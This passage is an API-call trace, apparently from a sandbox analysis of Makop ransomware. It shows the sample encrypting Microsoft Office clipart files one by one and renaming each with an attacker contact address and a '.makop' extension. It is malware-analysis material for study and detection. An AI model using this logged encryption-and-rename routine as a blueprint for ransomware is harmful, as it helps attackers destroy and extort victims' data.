office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.356] GetProcessHeap () returned 0x48a0000 [0117.356] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.356] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.357] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.357] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0117.361] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.361] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.361] GetProcessHeap () returned 0x48a0000 [0117.361] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.361] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.361] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.361] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.362] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.362] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.362] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.362] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.362] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.362] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.362] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.363] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.363] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe392, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe392, lpOverlapped=0x0) returned 1 [0117.365] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe3a0, dwBufLen=0xe3a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe3a0) returned 1 [0117.366] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.366] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe3a0, lpOverlapped=0x0) returned 1 [0117.367] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.367] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.367] SetEndOfFile (hFile=0xf0) returned 1 [0117.375] GetProcessHeap () returned 0x48a0000 [0117.375] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.375] GetProcessHeap () returned 0x48a0000 [0117.375] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.375] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.377] CloseHandle (hObject=0xf0) returned 1 [0117.377] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9114, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099173.WMF", cAlternateFileName="")) returned 1 [0117.377] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0117.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.378] GetProcessHeap () returned 0x48a0000 [0117.378] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.378] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.378] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.378] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0117.383] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.383] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.383] GetProcessHeap () returned 0x48a0000 [0117.383] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.383] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.383] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.383] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.384] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.384] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.384] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.384] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.384] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.384] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.384] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.384] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.385] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9114, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9114, lpOverlapped=0x0) returned 1 [0117.387] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9120, dwBufLen=0x9120 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9120) returned 1 [0117.388] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.388] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9120, lpOverlapped=0x0) returned 1 [0117.388] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.388] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x91f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.388] SetEndOfFile (hFile=0xf0) returned 1 [0117.396] GetProcessHeap () returned 0x48a0000 [0117.396] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.396] GetProcessHeap () returned 0x48a0000 [0117.396] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.396] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.397] CloseHandle (hObject=0xf0) returned 1 [0117.397] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1846, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099174.WMF", cAlternateFileName="")) returned 1 [0117.397] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0117.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.398] GetProcessHeap () returned 0x48a0000 [0117.398] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.398] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.399] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.399] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0117.403] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.403] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.403] GetProcessHeap () returned 0x48a0000 [0117.403] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.403] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.404] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.404] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.404] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.404] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.404] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.404] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.405] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.405] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.405] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.405] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1846, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1846, lpOverlapped=0x0) returned 1 [0117.406] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1850, dwBufLen=0x1850 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1850) returned 1 [0117.407] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.407] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1850, lpOverlapped=0x0) returned 1 [0117.407] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.407] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.407] SetEndOfFile (hFile=0xf0) returned 1 [0117.414] GetProcessHeap () returned 0x48a0000 [0117.414] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.414] GetProcessHeap () returned 0x48a0000 [0117.414] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.414] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.415] CloseHandle (hObject=0xf0) returned 1 [0117.415] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2610, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099175.WMF", cAlternateFileName="")) returned 1 [0117.415] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF") returned 63 [0117.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.418] GetProcessHeap () returned 0x48a0000 [0117.418] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.418] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.418] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.419] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.419] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.419] GetProcessHeap () returned 0x48a0000 [0117.419] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.419] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.419] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.419] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.426] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.426] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.426] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.426] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.427] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.427] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.427] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.427] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2610, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2610, lpOverlapped=0x0) returned 1 [0117.428] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2610, dwBufLen=0x2610 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2610) returned 1 [0117.429] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.429] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2610, lpOverlapped=0x0) returned 1 [0117.429] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.429] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.429] SetEndOfFile (hFile=0xf0) returned 1 [0117.436] GetProcessHeap () returned 0x48a0000 [0117.436] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.436] GetProcessHeap () returned 0x48a0000 [0117.437] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.437] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.438] CloseHandle (hObject=0xf0) returned 1 [0117.438] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, 